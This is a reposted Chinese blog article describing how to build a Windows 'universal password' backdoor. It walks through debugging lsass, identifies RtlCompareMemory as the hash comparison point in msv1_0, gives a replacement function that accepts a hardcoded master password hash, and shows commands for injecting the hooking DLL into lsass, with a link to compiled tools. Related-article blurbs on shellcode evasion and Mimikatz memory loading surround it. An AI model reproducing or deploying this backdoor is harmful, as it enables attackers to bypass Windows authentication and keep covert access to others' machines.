[转载]利用IAT hook实现windows通用密码后门 z

内核操作相关API 1、RtlCopyMemory 、RtlCopyBytes、RtlMoveMemory; 2、RtlZeroMemory、RtlFillMemory; 3、RtlEqualMemory; 4、ExAllocatePool、ExFreePool; 5、New(重载)、Delete操作符 一、内存的复制与移动 1、RtlCopyMemory 作用:把一个缓冲区的内容复制到另一一个缓冲区。 VOID RtlCopyMemory( IN VOID UNALIGNED *Destination, IN 阅读详情

来源:看雪学院
作者:clyfish

windows有通用密码吗?
去问比尔大叔吧。

先不管是不是真的有,我们可以自己实现一个这样的后门。

先简单介绍一下windows登陆过程中的一些过程。
winlogon进程用gina.dll获取用户名和密码,通过LPC传给lsass进程。
然后lsass进程调用默认认证包msv1_0.dll来验证密码的对错。
而msv1_0则从SAM中获得用户的信息,包括密码的哈希。

要实现这样一个后门,首先要找到登陆验证这一系列函数的最底层的一个,然后在那里做手脚。
很明显,这个最底层的函数在lsass进程的msv1_0.dll模块中。

lsass调用msv1_0.dll的是这个函数:

代码:
msv1_0!LsaApLogonUserEx2

LsaApLogonUserEx2 in MSDN

那我们就应该调试lsass进程然后在msv1_0!LsaApLogonUserEx2下断点。
这里我使用windbg和vmware并利用dbgsrv进行远程的用户态调试。
http://blogs.msdn.com/spatdsg/archiv...27/507265.aspx
上面Spat在blog中介绍了如何用dbgsrv调试(Debugging LSA via dbgsrv.exe)。
在虚拟机(被调试端)运行

代码:
dbgsrv.exe -t tcp:port=1234,password=spat

然后在调试端运行

代码:
windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat

然后选择附加lsass进程。
但这里我们不能登陆之后再运行dbgsrv,那样dbgsrv就被关掉了,所以我利用windows的任务计划让dbgsrv开机就运行起来。

虚拟机启动后,dbgsrv也起来了,然后用windbg连上并附上lsass进程。
在下了断点msv1_0!LsaApLogonUserEx2后,让lsass继续运行。
然后登陆,果然windbg断下来了。

这个时候给大家介绍windbg的一个强劲的命令,那就是wt,它能所有的记录函数调用关系,一直记录到ret,具体用法请看windbg帮助。
我猜wt是单步运行,所以很慢。
但是wt输出的文本很多,太难看了,于是我写了个python脚本把wt的输出转成一个TreeCtrl,附图:

大家注意看我鼠标点上的那个函数:ntdll!RtlCompareMemory。
经过调试我发现这个函数就是我要找的那个“最底层的函数”。

代码:
SIZE_T
   RtlCompareMemory(
     IN CONST VOID   *Source1,
     IN CONST VOID   *Source2,
     IN SIZE_T   Length
     );

RtlCompareMemory in MSDN
并且我还发现了验证密码时这个函数3个参数的细节,
Source1是从SAM中取出的用户密码的Unicode形式的md4哈希,
Source2是用户输入的密码的Unicode形式的md4哈希,
Length总是16,因为md4的哈希就是16位。
很容易我写出了下面这个替代的函数:

代码:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
     if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
         return 16;
     return pRtlCompareMemory(a, b, len);
}

其中pRtlCompareMemory是全局变量,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密码的哈希。
使用MyRtlCompareMemory来hook掉RtlCompareMemory,就可以实现预定的功能了。
如果要比较的是16位的,并且第二段内存与我们的哈希一样那就直接放行,不管第一段内存是什么。
也许有朋友会问,你这是hook了msv1_0模块内所有调用RtlCompareMemory的地方,不会出错吗?
放心吧,哪有那么巧,要比较的是16位的而且第二段内存又和我们的哈希一模一样?

要hook这个函数有很多方法,
我选择了最懒的一种,IAT hook+dll注入。
于是我写了一个小工具来注入dll:DllInject

代码:
C:/Documents and Settings/cly/桌面/bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
     InjectDll.exe (-i | -u | -U) pid filename
     -i: Inject
     -u: UnInject once
     -U: UnInject at all

passdoor.dll是要注入到lsass进程的dll,这个dll在DllMain中实现了IAT hook,很土的技术了,就不贴代码了,网上一搜一箩筐。

然后我又写了一个小工具:pdconfig
其实就是改passdoor.dll中的哈希,以免要换密码是又要重新编译passdoor.dll。

使用方法:

代码:
InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll

卸载方法:

代码:
InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll

http://clyfish.googlepages.com/passdoor.rar
这里是本文中相关工具的源码以及编译好的二进制文件。
其中包括InjectDll.exe, passdoor.dll和pdconfig.exe,所有代码均使用MingW gcc4.2.1编译。
郁闷,不能传附件。


<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"> </script>
msfvenom跨平台免杀后门实战:从载荷生成到内存加载技术 在网络安全领域,攻击载荷(Payload)是执行特定任务的核心代码片段,其原理在于通过精心构造的指令序列,在目标系统上实现远程控制、信息窃取等操作。理解载荷生成与免杀的技术价值,对于渗透测试、红蓝对抗和防御体系评估至关重要。它能帮助安全人员模拟真实攻击链,检验安全防护的有效性。在实际应用场景中,攻击者常需让载荷适配不同操作系统(如Windows、Linux、macOS),并规避杀毒软件(AV)和端点检测与响应(EDR)系统的检测。这便涉及到对可执行文件格式、内存加载机制和检测逻辑的深刻理解。本文聚焦于使用m 阅读详情

相关推荐

恶意软件分析核心技术:解包、解密与注入实战指南

在网络安全领域,恶意软件分析是识别和应对威胁的关键技术。其核心原理在于通过逆向工程手段,深入剖析恶意代码的隐藏逻辑和行为模式。这项技术的核心价值在于能够有效揭示攻击者的意图、提取关键威胁指标(IOC),并为构建主动防御体系提供依据。在实际应用场景中,分析师常面临加壳、加密和进程注入等对抗技术。针对这些挑战,掌握解包技术可以还原被压缩或加密的原始代码;运用解密方法能够破解恶意软件中的混淆字符串与通信载荷;而注入技术则可用于动态监控恶意行为。本文聚焦于恶意软件分析中的解包、解密与注入这三项关键技术,结合实战案例

weixin_30482181的博客 453

Windows驱动内存操作

内存复制 内存复制分两种情况,非重叠和可重叠 如图:当复制A~C到B~D段内存b-c段内存重叠 RtlCopyMemory为非重叠复制,即不能使用RtlCopyMemory操作上图中的内存段,RtlMoveMemory为可重叠复制,此函数对内存是否重叠进行判断。 void RtlCopyMemory( Destination, //表示要复制内存的目的地址 Sourc...

PwnGuo的博客 2948

PE转ShellCode:Mimikatz免杀与内存加载实战解析

在Windows系统安全领域,可执行文件(PE)的静态特征检测是传统安全防护的基础手段。其原理在于杀毒软件通过比对文件哈希或特征码来识别恶意程序。为了绕过这种检测,安全研究人员发展出将PE文件转换为位置无关的ShellCode(外壳代码)的技术,其核心价值在于实现内存加载执行,从而规避基于磁盘文件的静态扫描。这项技术广泛应用于渗透测试、红队演练等场景,通过工具如Donut将Mimikatz等安全工具转化为ShellCode,再配合自定义加载器在内存中动态解密执行,有效提升了攻击的隐蔽性。本文聚焦于非源码修改

weixin_30412167的博客 428

RtlCompareMemory参考手册

RtlCompareMemory The RtlCompareMemory routine compares blocks of memory and returns the number of bytes that are equivalent. SIZE_T  RtlCompareMemory(      IN CONST VOID   *Source1 ,      IN

秋水之城 3755

Shellcode混淆技术实战:五种方法对比与免杀Loader实现

在网络安全攻防领域,恶意代码检测与免杀是永恒的核心对抗。其基本原理在于安全产品通过静态特征码、行为监控等手段识别威胁。Shellcode作为攻击载荷,其原始形态极易被特征库捕获,因此混淆技术应运而生,旨在通过改变代码形态或加密来绕过检测,延长攻击窗口。从技术价值看,混淆不仅关乎攻击的隐蔽性,也是理解现代EDR/AV检测逻辑、提升防御视角的绝佳实践。应用场景广泛,包括渗透测试、红队评估及安全研究。本文聚焦于Shellcode混淆,深入解析异或编码、Base64、AES加密、花指令及分段加载等五种实用技术,并提

weixin_33805743的博客 387

ShellcodePack赋能DLL与COM劫持:高级隐蔽进程控制技术实践

在Windows系统安全与进程控制领域,DLL劫持和COM劫持是两种经典的代码注入技术。其核心原理在于利用系统模块加载机制中的信任关系,例如DLL搜索顺序或COM组件注册表查找,诱导目标进程主动加载并执行攻击者预设的代码。这类技术的核心价值在于其极高的隐蔽性,能够绕过传统基于文件特征的静态检测,实现权限维持和持久化访问。在实际应用场景中,红队渗透测试和高级威胁模拟常利用这些技术进行横向移动和防御规避。为了进一步提升对抗能力,现代载荷封装工具如ShellcodePack被广泛采用。它通过对原始Shellcod

weixin_30653023的博客 383

Windows HOOK学习(一):简单的IAT HOOK

(若文章有误的请放过,请在留言区告诉我修改一下) 1. 前言 由于毕设项目的需要,从一个毫无基础的小白(只会C语言基础,windows核心编程,汇编都一窍不通,学的很艰难啊),开始慢慢写Hook,记录一下学习过程和成果。 顺便梳理一下学到的知识。 2.准备工作 要学习Hook,当然首先要准备了解一下基础知识和准备编译器啦。 DLL:全名是Dynamic Link Library(动态链接库)。作用...

weixin_42777366的博客 1439

CTF逆向工程实战:从二进制分析到算法破解的完整指南

逆向工程是计算机安全领域的核心技术之一,它涉及对软件二进制代码的分析与理解,以揭示其内部逻辑与算法实现。其基本原理是通过静态分析与动态调试相结合的方法,解析程序的执行流程与数据结构。这项技术的核心价值在于漏洞挖掘、恶意软件分析、软件保护评估以及知识产权研究等多个领域。在网络安全竞赛(CTF)中,逆向工程挑战尤为常见,参赛者需要运用IDA Pro、Ghidra等工具进行反汇编与反编译,识别加密算法、绕过反调试机制,并最终提取关键信息。本文聚焦于CTF逆向挑战的实战流程,详细拆解了从信息收集、静态分析到动态调试

weixin_33816821的博客 344

内存函数的使用与剖析

一、memcpy函数 void* memcpy(char dest,const char src,size_t num); 规定: 函数memcpy 从source的位置开始向后复制num个字节的数据到dest的位置。 这个函数在遇到’\0’的时候并不会停下来 如果source和dest有任何重叠,复制的内容都是未定义的。 c语言规定,memcpy函数处理的是内存不重叠的复制,内存重叠的复制由memmove函数来完成。 1、memcpy函数实现 #define _CRT_SECURE_NO_WARNIN

qq_41025829的博客 171

CTF逆向工程实战:从知识体系到AK通关的完整路径

逆向工程作为软件安全领域的核心技术,其本质是通过分析二进制程序的行为与结构,理解其内部逻辑与算法实现。这一过程依赖于对计算机系统底层原理的深刻理解,包括指令集架构、可执行文件格式和编译原理等基础知识。掌握逆向技术不仅能够提升软件分析能力,在网络安全、漏洞挖掘、恶意代码分析等领域也具有重要价值。在实际应用中,逆向工程常涉及加密算法识别、代码混淆对抗等复杂场景,需要结合静态分析与动态调试工具链进行系统化分析。本文以CTF竞赛中的逆向AK(All Kill)为切入点,系统梳理了从基础理论到实战解题的完整知识体系,

weixin_34221073的博客 5548

【信息科学与工程学】【安全领域】第一百四十二篇 零信任网络解决方案中的算法04

对于节点 i, 有功和无功功率平衡方程为: Pi​=Vi​∑j=1N​Vj​(Gij​cosθij​+Bij​sinθij​), Qi​=Vi​∑j=1N​Vj​(Gij​sinθij​−Bij​cosθij​)。下风向某点 (x,y,z)的浓度 C为: C=2πuσy​σz​Q​exp(−2σy2​y2​)[exp(−2σz2​(z−H)2​)+exp(−2σz2​(z+H)2​)], 其中 Q是源强, u是风速, H是有效源高, σy​,σz​是水平和垂直扩散参数。

weixin_49199313的博客 1413

共享办公环境下的图像全链路安全:透明加密与防窥屏实践

数据安全是信息技术的核心基础,其核心原理在于通过密码学手段确保数据的机密性、完整性与可用性。在工程实践中,透明加密技术通过在文件系统层或应用层进行无缝加解密,实现了安全防护与用户体验的平衡,其技术价值在于为动态数据提供持续保护。这一技术尤其适用于物理环境开放、网络复杂、设备异构的现代办公场景,例如共享办公空间。本文聚焦于图像数据在WeWork这类环境中的全生命周期安全,通过结合AES-256-GCM算法、应用层Hook与内存保护机制,构建了一套覆盖存储、传输、显示环节的端到端解决方案,有效应对肩窥与网络监听

weixin_34268169的博客 332

【信息科学与工程学】【安全领域】第八十三篇 云安全解决方案02

企业中“搞人”与“搞事情”常见问题的分析框架。我将选取4个典型场景,每个场景都从实际管理现象出发,逐步推导出数学模型、参数设定及关联知识。

weixin_49199313的博客 324

x64汇编与逆向工程实战:从环境搭建到动态调试完整指南

汇编语言是理解计算机底层执行机制的核心技术,它直接映射CPU指令集与内存操作,是分析程序行为、排查性能瓶颈的基础。通过建立高级语言到汇编指令的映射思维,开发者可以深入理解程序在寄存器、栈和内存层面的实际执行过程。这一原理在软件调试、安全分析和性能优化中具有重要技术价值,尤其在逆向工程领域,能够帮助工程师分析无源码程序、定位漏洞或修改软件行为。本文聚焦x64架构,结合Ghidra和x64dbg等工具,详细讲解从环境配置、静态分析到动态调试的完整路径,涵盖调用约定、栈帧布局等关键概念,并通过实际案例演示如何搭建

weixin_33795093的博客 374

RtlCompareMemory

VC非驱动开发时,使用DDK中的RtlCompareMemory()函数。 C库函数中的memcmp()封装了RtlCompareMemory,但却无法直接调用RtlCompareMemory,有时候需要知道两块内存比较后,从哪个位置开始不同,就需要原始的RtlCompareMemory了。 出现异常,报错用的AfxMessageBox(),没有使用MFC的,自己修改成MessageBox就好:)

Delphi IATHook API

Delphi的IAT API Hook 算還沒完成 但已經可以實現Hook了 還沒搞定CreateRemoteThread 所以只能修改自己得IAT(好爛)

前端防盗实战指南:分层防护模型与高ROI方案设计

前端防盗本质上不是代码加密或混淆,而是围绕资源访问控制、行为约束和运行时环境可信度构建的综合防护体系。其核心原理在于通过网络层(Referer/Token)、传输层(JWT签名/非对称加密)、逻辑层(幂等性/节流)和运行时层(环境检测/动态水印)四层协同,提升滥用成本而非追求绝对安全。技术价值体现在平衡安全性、性能与用户体验,避免过度防护导致调试困难或兼容性问题。典型应用场景包括在线教育视频防下载、SaaS平台敏感操作防重放、内容平台PDF讲义防盗用等。本文基于真实项目经验,系统拆解可落地的分层设防策略与成

SailingAptech的专栏 487

Delphi API HOOK完全说明

什么是API Hook不知道大家是否还记得,在DOS 系统中编程,经常会采取截取中断向量的技术:我们可以设置新的中断服务程序,当系统其他的程序调用这个中断时,就让它先调用我们自己设置的新的中断服务程 序,然后再调用原来的中断服务程序,这样就能够获得非凡的控制权。许多优秀的软件和大多数DOS 病毒程序都采用了这个方法。 在Windows 中,我们也可以采取类似技术。当系统调用某个API 函数时,就会先进入我们自己的函数,然后再调用原来的API 函数,这样,我们的程序就可以取得更多的控制权,我们就可对Windows 系统中的任意一个函数调用进行动态拦截、跟踪、修改和恢复,就可让Windows 系统中的任意一个函数按我们的设想工作。这种技术有许多名称,比如“陷阱技术”、“重入技术”等,不过我认为还是API Hook 最贴切。原因嘛,等一下你看编程就明白了。

上一篇: [转载]总结windows下堆溢出的三种利用方式 z
下一篇: [转载]堆践溢出点定位的2种方法 z
KataDoc360
博客等级 码龄18年 65粉丝 16原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值